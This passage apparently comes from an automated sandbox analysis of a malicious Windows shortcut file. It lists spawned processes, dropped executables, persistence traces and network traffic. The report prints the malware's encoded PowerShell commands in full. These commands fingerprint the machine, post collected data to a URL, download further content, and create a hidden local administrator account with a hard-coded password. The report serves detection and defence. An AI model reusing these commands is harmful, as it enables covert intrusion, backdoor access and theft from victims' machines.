AG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline"			Jump to behavior

Source: svczHost.exe.16.dr	Static PE information: section name: .managed
Source: svczHost.exe.16.dr	Static PE information: section name: hydrated
Source: myRdpService.exe.21.dr	Static PE information: section name: .managed
Source: myRdpService.exe.21.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF9D39B1A08 push E95F4D2Dh; ret	2_2_00007FF9D39B1A19
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9D39C83EE pushad ; ret	4_2_00007FF9D39C841D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9D39C7BEE pushad ; retf	4_2_00007FF9D39C7C1D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9D39C841E push eax; ret	4_2_00007FF9D39C842D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9D39C7C1E push eax; retf	4_2_00007FF9D39C7C2D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9D39CB730 pushfd ; ret	4_2_00007FF9D39CB781
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF9D389D2A5 pushad ; iretd	8_2_00007FF9D389D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF9D39B1FD7 push eax; iretd	8_2_00007FF9D39B2009
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF9D38AD2A5 pushad ; iretd	16_2_00007FF9D38AD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 55_2_00007FF9D39A0D85 push es; iretd	55_2_00007FF9D39A0D83

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.dll	Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe			Jump to dropped file

Source: C:\Windows\Temp\myRdpService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\myRdpService

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49786

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
